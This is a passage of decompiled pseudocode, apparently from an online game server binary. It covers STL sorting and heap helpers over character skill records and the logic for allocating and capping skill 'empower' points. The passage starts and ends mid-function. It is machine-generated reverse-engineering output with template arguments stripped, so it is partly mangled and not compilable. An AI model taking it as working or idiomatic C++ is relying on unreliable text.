) { v20 = *(_DWORD *)&_First + 20 * (v6 - v16); v17 = &v20; } else { v19 = v15 + *(_DWORD *)&_Mid; v17 = &v19; } v15 = *v17; } while ( *v17 != v11 ); v10 = _Mid; } *(_DWORD *)v13 = *(_DWORD *)&_Holeval; *(_DWORD *)(v13 + 4) = _Holeval.cs_EndOfCooltime; *(_DWORD *)(v13 + 8) = *(_DWORD *)&_Holeval.cs_Empower._bf0; *(_DWORD *)(v13 + 12) = _Holeval.cs_Mastery; *(_DWORD *)(v13 + 16) = _Holeval.cs_bSave; v11 -= 20; --*(_DWORD *)&_Last; } while ( _Last ); } } //----- (00430E10) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(CharaterSkillList::CharSkill *_First, unsigned int _Count, CharaterSkillList::CharSkill *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 CharaterSkillList::CharSkill *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->cs_SkillId = *(_DWORD *)&_Val->cs_SkillId; v6->cs_EndOfCooltime = _Val->cs_EndOfCooltime; *(_DWORD *)&v6->cs_Empower._bf0 = *(_DWORD *)&_Val->cs_Empower._bf0; v6->cs_Mastery = _Val->cs_Mastery; v6->cs_bSave = _Val->cs_bSave; } ++v6; --v5; } while ( v5 ); } } //----- (00430E60) -------------------------------------------------------- void __cdecl std::_Median>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Mid, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v4; // eax@1 int v5; // eax@2 int v6; // edi@2 int v7; // edx@2 int v8; // esi@2 std::vector >::iterator v9; // ST30_4@2 std::vector >::iterator v10; // ST18_4@2 int v11; // ST10_4@2 int _Firsta; // [sp+8h] [bp+4h]@2 int _Lasta; // [sp+10h] [bp+Ch]@2 v4 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20; if ( v4 <= 40 ) { std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, _Mid, _Last, _Pred); } else { v5 = (v4 + 1) / 8; v6 = 40 * v5; v7 = 40 * v5 + *(_DWORD *)&_First; v8 = 20 * v5; v9 = _First; _Firsta = 20 * v5 + *(_DWORD *)&_First; std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( v9, (std::vector >::iterator)_Firsta, (std::vector >::iterator)v7, _Pred); std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)(*(_DWORD *)&_Mid - v8), _Mid, (std::vector >::iterator)(v8 + *(_DWORD *)&_Mid), _Pred); v10 = _Last; v11 = *(_DWORD *)&_Last - v6; _Lasta = *(_DWORD *)&_Last - v8; std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)v11, (std::vector >::iterator)_Lasta, v10, _Pred); std::_Med3>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator)_Firsta, _Mid, (std::vector >::iterator)_Lasta, _Pred); } } //----- (00430F10) -------------------------------------------------------- void __cdecl std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, int _Hole, int _Bottom, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v5; // edi@1 int v6; // esi@1 bool i; // zf@1 int v8; // eax@4 int v9; // ecx@4 int v10; // eax@6 int v11; // ecx@6 _BYTE v12[20]; // ST0C_20@7 v5 = _Hole; v6 = 2 * _Hole + 2; for ( i = v6 == _Bottom; v6 < _Bottom; *(_DWORD *)(v9 + 16) = *(_DWORD *)(v8 + 16) ) { if ( _Pred( (CharaterSkillList::CharSkill *)(*(_DWORD *)&_First + 20 * v6), (CharaterSkillList::CharSkill *)(*(_DWORD *)&_First + 20 * v6 - 20)) ) --v6; v8 = *(_DWORD *)&_First + 20 * v6; v9 = *(_DWORD *)&_First + 20 * v5; *(_DWORD *)v9 = *(_DWORD *)v8; *(_DWORD *)(v9 + 4) = *(_DWORD *)(v8 + 4); *(_DWORD *)(v9 + 8) = *(_DWORD *)(v8 + 8); *(_DWORD *)(v9 + 12) = *(_DWORD *)(v8 + 12); v5 = v6; v6 = 2 * v6 + 2; i = v6 == _Bottom; } if ( i ) { v10 = *(_DWORD *)&_First + 20 * _Bottom - 20; v11 = *(_DWORD *)&_First + 20 * v5; *(_DWORD *)v11 = *(_DWORD *)v10; *(_DWORD *)(v11 + 4) = *(_DWORD *)(v10 + 4); *(_DWORD *)(v11 + 8) = *(_DWORD *)(v10 + 8); *(_DWORD *)(v11 + 12) = *(_DWORD *)(v10 + 12); *(_DWORD *)(v11 + 16) = *(_DWORD *)(v10 + 16); v5 = _Bottom - 1; } *(_DWORD *)v12 = *(_DWORD *)&_Val; *(_QWORD *)&v12[4] = *(_QWORD *)&_Val.cs_EndOfCooltime; *(_QWORD *)&v12[12] = *(_QWORD *)&_Val.cs_Mastery; std::_Push_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, v5, _Hole, *(CharaterSkillList::CharSkill *)v12, _Pred); } //----- (00430FF0) -------------------------------------------------------- void __cdecl std::_Pop_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, CharaterSkillList::CharSkill _Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal) { _BYTE v6[20]; // ST0C_20@1 signed int v7; // edx@1 **(_DWORD **)&_Dest = **(_DWORD **)&_First; *(_DWORD *)(*(_DWORD *)&_Dest + 4) = *(_DWORD *)(*(_DWORD *)&_First + 4); *(_DWORD *)(*(_DWORD *)&_Dest + 8) = *(_DWORD *)(*(_DWORD *)&_First + 8); *(_DWORD *)(*(_DWORD *)&_Dest + 12) = *(_DWORD *)(*(_DWORD *)&_First + 12); *(_DWORD *)(*(_DWORD *)&_Dest + 16) = *(_DWORD *)(*(_DWORD *)&_First + 16); *(_DWORD *)v6 = *(_DWORD *)&_Val; *(_QWORD *)&v6[4] = *(_QWORD *)&_Val.cs_EndOfCooltime; *(_QWORD *)&v6[12] = *(_QWORD *)&_Val.cs_Mastery; v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Last - *(_DWORD *)&_First)) >> 32) >> 3; std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, 0, v7 + ((unsigned int)v7 >> 31), *(CharaterSkillList::CharSkill *)v6, _Pred); } //----- (00431070) -------------------------------------------------------- int __thiscall CharaterSkillList::csl_EmpowerSummary(CharaterSkillList *this) { CharaterSkillList *v1; // edi@1 int v2; // esi@1 int v3; // ecx@2 int v4; // edx@2 unsigned int v5; // eax@3 unsigned int v6; // edi@3 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerSummary"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerSummary"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( v1->csl_SkillNumber > 0 ) { v3 = (int)&v1->csl_Skill._Myfirst->cs_Empower; v4 = v1->csl_SkillNumber; do { v5 = *(_WORD *)v3; v6 = ((unsigned int)*(_WORD *)v3 >> 12) + (((unsigned int)*(_WORD *)v3 >> 4) & 0xF) + ((v5 >> 8) & 0xF); v3 += 20; --v4; v2 += (v5 & 0xF) + v6; } while ( v4 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerSummary"); return v2; } //----- (00431110) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_EmpowerClear(CharaterSkillList *this) { CharaterSkillList *v1; // esi@1 unsigned int v2; // ebx@1 int i; // ecx@1 CharaterSkillList::CharSkill *v4; // edi@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerClear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerClear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = 0; ++funcallanalizer.fca_stackpoint; for ( i = 0; ; ++i ) { v4 = v1->csl_Skill._Myfirst; if ( !v4 ) break; if ( v2 >= v1->csl_Skill._Mylast - v4 ) break; HIBYTE(v4[i].cs_Empower._bf0) &= 0xFu; HIBYTE(v1->csl_Skill._Myfirst[i].cs_Empower._bf0) &= 0xF0u; LOBYTE(v1->csl_Skill._Myfirst[i].cs_Empower._bf0) &= 0xFu; LOBYTE(v1->csl_Skill._Myfirst[i].cs_Empower._bf0) &= 0xF0u; ++v2; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerClear"); } //----- (004311C0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, CharaterSkillList::CharSkill *_Val, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal) { std::vector >::iterator v6; // ebp@1 signed int v7; // edx@1 signed int v8; // edi@1 std::vector >::iterator *v9; // eax@6 v6 = _First; v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Last - *(_DWORD *)&_First)) >> 32) >> 3; v8 = v7 + ((unsigned int)v7 >> 31); while ( v8 > 0 ) { if ( _Pred((CharaterSkillList::CharSkill *)(*(_DWORD *)&v6 + 20 * v8 / 2), _Val) ) { *(_DWORD *)&v6 += 20 * v8 / 2 + 20; v8 += -1 - v8 / 2; } else { v8 /= 2; } } v9 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; return v9; } //----- (00431230) -------------------------------------------------------- std::pair >::iterator,std::vector >::iterator> *__cdecl std::_Unguarded_partition>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::pair >::iterator,std::vector >::iterator> *result, std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { int v4; // esi@1 int v5; // ebx@1 unsigned int v6; // ebp@9 unsigned int v7; // edi@9 int v8; // ecx@13 int v9; // ST8C_4@13 int v10; // ST90_4@13 int v11; // ST98_4@13 int v12; // ST94_4@13 bool v13; // zf@15 int v14; // ebp@16 int v15; // ST60_4@19 int v16; // ST64_4@19 int v17; // ST68_4@19 int v18; // ST6C_4@19 int v19; // ST70_4@19 bool v20; // cf@20 int v21; // eax@25 int v22; // STA0_4@25 int v23; // STA4_4@25 int v24; // STAC_4@25 int v25; // STA8_4@25 int v26; // ST74_4@26 int v27; // ST78_4@26 int v28; // ST7C_4@26 int v29; // ST84_4@26 unsigned int v30; // eax@26 int v31; // ST80_4@26 int v32; // ST24_4@29 int v33; // ST28_4@29 int v34; // ST2C_4@29 int v35; // ST30_4@29 int v36; // ST34_4@29 int v37; // ST38_4@30 int v38; // ST3C_4@30 int v39; // ST40_4@30 int v40; // ST44_4@30 int v41; // ST48_4@30 int v42; // ST4C_4@31 int v43; // ST50_4@31 int v44; // ST54_4@31 int v45; // ST58_4@31 int v46; // ST5C_4@31 std::pair >::iterator,std::vector >::iterator> *v47; // eax@32 int _Glast; // [sp+10h] [bp-90h]@2 unsigned int _Glasta; // [sp+10h] [bp-90h]@9 v4 = *(_DWORD *)&_First + 20 * (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2; std::_Median>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, (std::vector >::iterator)(*(_DWORD *)&_First + 20 * (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2), (std::vector >::iterator)(*(_DWORD *)&_Last - 20), _Pred); v5 = v4 + 20; if ( *(unsigned int *)&_First < v4 ) { do { _Glast = v4 - 20; if ( _Pred((CharaterSkillList::CharSkill *)(v4 - 20), (CharaterSkillList::CharSkill *)v4) ) break; if ( _Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)_Glast) ) break; v4 -= 20; } while ( *(unsigned int *)&_First < _Glast ); } for ( ; v5 < *(unsigned int *)&_Last; v5 += 20 ) { if ( _Pred((CharaterSkillList::CharSkill *)v5, (CharaterSkillList::CharSkill *)v4) ) break; if ( _Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)v5) ) break; } v6 = v4; v7 = v5; _Glasta = v4; while ( 1 ) { while ( 1 ) { for ( ; v7 < *(_DWORD *)&_Last; v7 += 20 ) { if ( !_Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)v7) ) { if ( _Pred((CharaterSkillList::CharSkill *)v7, (CharaterSkillList::CharSkill *)v4) ) break; v8 = *(_DWORD *)v5; v9 = *(_DWORD *)(v5 + 4); v10 = *(_DWORD *)(v5 + 8); v11 = *(_DWORD *)(v5 + 16); v12 = *(_DWORD *)(v5 + 12); *(_DWORD *)v5 = *(_DWORD *)v7; *(_DWORD *)(v5 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v5 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v5 + 12) = *(_DWORD *)(v7 + 12); v6 = _Glasta; *(_DWORD *)(v5 + 16) = *(_DWORD *)(v7 + 16); *(_DWORD *)v7 = v8; *(_DWORD *)(v7 + 4) = v9; *(_DWORD *)(v7 + 8) = v10; *(_DWORD *)(v7 + 12) = v12; v5 += 20; *(_DWORD *)(v7 + 16) = v11; } } v13 = v6 == _First; if ( v6 > *(_DWORD *)&_First ) { v14 = v6 - 20; do { if ( !_Pred((CharaterSkillList::CharSkill *)v14, (CharaterSkillList::CharSkill *)v4) ) { if ( _Pred((CharaterSkillList::CharSkill *)v4, (CharaterSkillList::CharSkill *)v14) ) break; v4 -= 20; v15 = *(_DWORD *)v4; v16 = *(_DWORD *)(v4 + 4); v17 = *(_DWORD *)(v4 + 8); v18 = *(_DWORD *)(v4 + 12); v19 = *(_DWORD *)(v4 + 16); *(_DWORD *)v4 = *(_DWORD *)v14; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v14 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v14 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v14 + 12); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v14 + 16); *(_DWORD *)v14 = v15; *(_DWORD *)(v14 + 4) = v16; *(_DWORD *)(v14 + 8) = v17; *(_DWORD *)(v14 + 12) = v18; *(_DWORD *)(v14 + 16) = v19; } v14 -= 20; v20 = *(_DWORD *)&_First < _Glasta - 20; _Glasta -= 20; } while ( v20 ); v6 = _Glasta; v13 = _Glasta == _First; } if ( v13 ) break; v6 -= 20; _Glasta = v6; if ( v7 == _Last ) { v4 -= 20; if ( v6 != v4 ) { v32 = *(_DWORD *)v6; v33 = *(_DWORD *)(v6 + 4); v34 = *(_DWORD *)(v6 + 8); v35 = *(_DWORD *)(v6 + 12); v36 = *(_DWORD *)(v6 + 16); *(_DWORD *)v6 = *(_DWORD *)v4; *(_DWORD *)(v6 + 4) = *(_DWORD *)(v4 + 4); *(_DWORD *)(v6 + 8) = *(_DWORD *)(v4 + 8); *(_DWORD *)(v6 + 12) = *(_DWORD *)(v4 + 12); *(_DWORD *)(v6 + 16) = *(_DWORD *)(v4 + 16); *(_DWORD *)v4 = v32; *(_DWORD *)(v4 + 4) = v33; *(_DWORD *)(v4 + 8) = v34; *(_DWORD *)(v4 + 12) = v35; *(_DWORD *)(v4 + 16) = v36; } v37 = *(_DWORD *)v4; v38 = *(_DWORD *)(v4 + 4); v39 = *(_DWORD *)(v4 + 8); v40 = *(_DWORD *)(v4 + 12); v41 = *(_DWORD *)(v4 + 16); v5 -= 20; *(_DWORD *)v4 = *(_DWORD *)v5; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v5 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v5 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v5 + 12); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v5 + 16); *(_DWORD *)v5 = v37; *(_DWORD *)(v5 + 4) = v38; *(_DWORD *)(v5 + 8) = v39; *(_DWORD *)(v5 + 12) = v40; *(_DWORD *)(v5 + 16) = v41; } else { v42 = *(_DWORD *)v7; v43 = *(_DWORD *)(v7 + 4); v44 = *(_DWORD *)(v7 + 8); v45 = *(_DWORD *)(v7 + 12); v46 = *(_DWORD *)(v7 + 16); *(_DWORD *)v7 = *(_DWORD *)v6; *(_DWORD *)(v7 + 4) = *(_DWORD *)(v6 + 4); *(_DWORD *)(v7 + 8) = *(_DWORD *)(v6 + 8); *(_DWORD *)(v7 + 12) = *(_DWORD *)(v6 + 12); *(_DWORD *)(v7 + 16) = *(_DWORD *)(v6 + 16); *(_DWORD *)v6 = v42; *(_DWORD *)(v6 + 4) = v43; *(_DWORD *)(v6 + 8) = v44; *(_DWORD *)(v6 + 12) = v45; v7 += 20; *(_DWORD *)(v6 + 16) = v46; } } if ( v7 == _Last ) break; if ( v5 != v7 ) { v21 = *(_DWORD *)v4; v22 = *(_DWORD *)(v4 + 4); v23 = *(_DWORD *)(v4 + 8); v24 = *(_DWORD *)(v4 + 16); v25 = *(_DWORD *)(v4 + 12); *(_DWORD *)v4 = *(_DWORD *)v5; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v5 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v5 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v5 + 12); *(_DWORD *)(v4 + 16) = *(_DWORD *)(v5 + 16); *(_DWORD *)v5 = v21; *(_DWORD *)(v5 + 4) = v22; *(_DWORD *)(v5 + 8) = v23; *(_DWORD *)(v5 + 12) = v25; *(_DWORD *)(v5 + 16) = v24; } v26 = *(_DWORD *)v4; v27 = *(_DWORD *)(v4 + 4); v28 = *(_DWORD *)(v4 + 8); v29 = *(_DWORD *)(v4 + 16); v30 = v7; v31 = *(_DWORD *)(v4 + 12); *(_DWORD *)v4 = *(_DWORD *)v7; *(_DWORD *)(v4 + 4) = *(_DWORD *)(v7 + 4); *(_DWORD *)(v4 + 8) = *(_DWORD *)(v7 + 8); *(_DWORD *)(v4 + 12) = *(_DWORD *)(v7 + 12); v6 = _Glasta; *(_DWORD *)(v4 + 16) = *(_DWORD *)(v7 + 16); *(_DWORD *)v7 = v26; *(_DWORD *)(v7 + 4) = v27; *(_DWORD *)(v7 + 8) = v28; v5 += 20; v7 += 20; *(_DWORD *)(v30 + 12) = v31; v4 += 20; *(_DWORD *)(v30 + 16) = v29; } v47 = result; *(_DWORD *)&result->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; *(_DWORD *)&result->second.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v47; } //----- (00431700) -------------------------------------------------------- void __cdecl std::_Make_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *), int *__formal, CharaterSkillList::CharSkill *a5) { int v5; // esi@1 int v6; // ebx@2 _BYTE v7[20]; // ST0C_20@3 v5 = (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20 / 2; if ( v5 > 0 ) { v6 = *(_DWORD *)&_First + 20 * v5; do { v6 -= 20; *(_DWORD *)v7 = *(_DWORD *)v6; *(_QWORD *)&v7[4] = *(_QWORD *)(v6 + 4); --v5; *(_QWORD *)&v7[12] = *(_QWORD *)(v6 + 12); std::_Adjust_heap>::iterator_int_CharaterSkillList::CharSkill_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( _First, v5, (*(_DWORD *)&_Last - *(_DWORD *)&_First) / 20, *(CharaterSkillList::CharSkill *)v7, _Pred); } while ( v5 > 0 ); } } //----- (00431780) -------------------------------------------------------- CharaterSkillList::CharSkill *__thiscall std::vector>::_Ufill(std::vector > *this, CharaterSkillList::CharSkill *_Ptr, unsigned int _Count, CharaterSkillList::CharSkill *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (004317B0) -------------------------------------------------------- void __cdecl std::_Insertion_sort>::iterator_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>(std::vector >::iterator _First, std::vector >::iterator _Last, bool (__cdecl *_Pred)(CharaterSkillList::CharSkill *, CharaterSkillList::CharSkill *)) { std::vector >::iterator v3; // ebx@1 int i; // esi@2 CharaterSkillList::CharSkill *v5; // edi@7 std::vector >::iterator v6; // ebx@8 v3 = _First; if ( _First != _Last ) { for ( i = *(_DWORD *)&_First + 20; i != _Last; i += 20 ) { if ( _Pred((CharaterSkillList::CharSkill *)i, *(CharaterSkillList::CharSkill **)&v3) ) { if ( v3 != i ) { if ( i != i + 20 ) std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>( v3, (std::vector >::iterator)i, (std::vector >::iterator)(i + 20), 0, 0); } } else { v5 = (CharaterSkillList::CharSkill *)(i - 20); if ( _Pred((CharaterSkillList::CharSkill *)i, (CharaterSkillList::CharSkill *)(i - 20)) ) { do { v6 = (std::vector >::iterator)v5; --v5; } while ( _Pred((CharaterSkillList::CharSkill *)i, v5) ); if ( v6 != i && i != i + 20 ) std::_Rotate>::iterator_int_CharaterSkillList::CharSkill>( v6, (std::vector >::iterator)i, (std::vector >::iterator)(i + 20), 0, 0); v3 = _First; } } } } } //----- (00431850) -------------------------------------------------------- CharaterSkillList::CharSkill *__thiscall CharaterSkillList::csl_GetSkillStruct(CharaterSkillList *this, unsigned __int16 skl) { CharaterSkillList *v2; // esi@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator v4; // ebx@2 CharaterSkillList::CharSkill *result; // eax@3 CharaterSkillList::CharSkill compare; // [sp+10h] [bp-14h]@3 v2 = this; v3 = (std::vector >::iterator)this->csl_Skill._Myfirst; if ( !*(_DWORD *)&v3 || (v4 = (std::vector >::iterator)this->csl_Skill._Mylast, !((signed int)((char *)this->csl_Skill._Mylast - *(_DWORD *)&v3) / 20)) || (compare.cs_SkillId = skl, std::_Lower_bound>::iterator_CharaterSkillList::CharSkill_int_bool____cdecl____CharaterSkillList::CharSkill_const___CharaterSkillList::CharSkill_const___>( (std::vector >::iterator *)&skl, v3, v4, &compare, CharaterSkillList::CharSkill::cs_Compare_STLVer, 0), result = (CharaterSkillList::CharSkill *)skl, (CharaterSkillList::CharSkill *)skl == v2->csl_Skill._Mylast) || compare.cs_SkillId < *(_WORD *)skl ) result = 0; return result; } //----- (004318D0) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_IsLearn(CharaterSkillList *this, unsigned __int16 skill) { CharaterSkillList *v2; // esi@1 bool v3; // bl@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_IsLearn"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_IsLearn"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = CharaterSkillList::csl_GetSkillStruct(v2, skill) != 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_IsLearn"); return v3; } //----- (00431980) -------------------------------------------------------- void __thiscall CharaterSkillList::csl_EmpowerStruct(CharaterSkillList *this, unsigned __int16 skill, SKILL_EMPOWER *empower) { CharaterSkillList *v3; // ebp@1 SkillDataBox::SkillDataIndex *i; // edi@1 CharaterSkillList::CharSkill *v5; // eax@2 __int16 v6; // cx@3 __int16 v7; // dx@3 __int16 v8; // cx@3 __int16 v9; // ax@7 unsigned int v10; // eax@9 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerStruct"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerStruct"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; empower->_bf0 = 0; for ( i = SkillDataBox::operator__(&skilldatabox, skill); i; i = i->sdi_PrevSkill ) { v5 = CharaterSkillList::csl_GetSkillStruct(v3, i->sdi_Activ->ID); if ( v5 ) { v6 = empower->_bf0 ^ ((unsigned __int8)empower->_bf0 ^ (unsigned __int8)(empower->_bf0 + LOBYTE(v5->cs_Empower._bf0))) & 0xF; empower->_bf0 = v6; v7 = v6 ^ (unsigned __int8)((v6 ^ ((_BYTE)v6 + (v5->cs_Empower._bf0 & 0xF0))) & 0xF0); empower->_bf0 = v7; v8 = v7 ^ (v7 ^ (v7 + (v5->cs_Empower._bf0 & 0xFF00))) & 0xF00; empower->_bf0 = v8; empower->_bf0 = v8 + (v5->cs_Empower._bf0 & 0xF000); } } if ( (empower->_bf0 & 0xFu) > 5 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", empower->_bf0 & 0xF); empower->_bf0 = empower->_bf0 & 0xFFF5 | 5; } v9 = empower->_bf0; if ( (v9 & 0xF0u) > 0x50 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", (unsigned __int8)empower->_bf0 >> 4); empower->_bf0 = empower->_bf0 & 0xFF5F | 0x50; } HIWORD(v10) = 0; if ( (empower->_bf0 & 0xF00u) > 0x500 ) { LOWORD(v10) = empower->_bf0; AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", (v10 >> 8) & 0xF); empower->_bf0 = empower->_bf0 & 0xF5FF | 0x500; } if ( (empower->_bf0 & 0xF000u) > 0x5000 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerStruct : Too many empow.damage", (unsigned int)empower->_bf0 >> 12); empower->_bf0 = empower->_bf0 & 0xFFF | 0x5000; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerStruct"); } //----- (00431BB0) -------------------------------------------------------- char __thiscall CharaterSkillList::csl_EmpowerAlloc(CharaterSkillList *this, PROTO_NC_SKILL_EMPOWALLOC_REQ *empalloc, SKILL_EMPOWER *empowresult) { CharaterSkillList *v3; // edi@1 PROTO_NC_SKILL_EMPOWALLOC_REQ *v4; // esi@1 int v5; // edx@1 unsigned __int16 v6; // ax@1 int v7; // ecx@1 int v9; // ebp@3 int v10; // edi@3 unsigned int v11; // edi@5 unsigned int v12; // eax@9 unsigned int v13; // edx@9 int v14; // eax@9 __int16 v15; // bx@11 int v16; // ecx@11 bool v17; // zf@11 __int16 v18; // ax@14 CharaterSkillList::CharSkill *v19; // edi@17 __int16 v20; // cx@18 char v21; // al@18 __int16 v22; // ax@18 __int16 v23; // cx@18 int v24; // eax@18 __int16 v25; // cx@18 int v26; // ecx@18 int v27; // eax@18 int v28; // ecx@18 int v29; // eax@18 int v30; // ecx@18 SKILL_EMPOWER *v31; // eax@18 const char *v32; // [sp-18h] [bp-30h]@6 int v33; // [sp-14h] [bp-2Ch]@6 FunctionEntarance _; // [sp+0h] [bp-18h]@1 unsigned int v35; // [sp+4h] [bp-14h]@9 CharaterSkillList *thisa; // [sp+8h] [bp-10h]@1 int v37; // [sp+14h] [bp-4h]@1 v3 = this; thisa = this; _.fe_FunctionCode = "CharaterSkillList::csl_EmpowerAlloc"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "CharaterSkillList::csl_EmpowerAlloc"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = empalloc; v5 = empalloc->skill; v37 = 0; v6 = CharaterSkillList::csl_MaximumSkill(v3, v5); CharaterSkillList::csl_EmpowerStruct(v3, v6, (SKILL_EMPOWER *)&empalloc); v7 = (unsigned __int8)empalloc & 0xF; if ( (v4->plus._bf0 & 0xF) + v7 > 5 ) { AssertClass::ac_AssertFail( &shineassert, "CharaterSkillList::csl_EmpowerAlloc : Too many point1", (v4->plus._bf0 & 0xF) + v7); --funcallanalizer.fca_stackpoint; v37 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "CharaterSkillList::csl_EmpowerAlloc"); 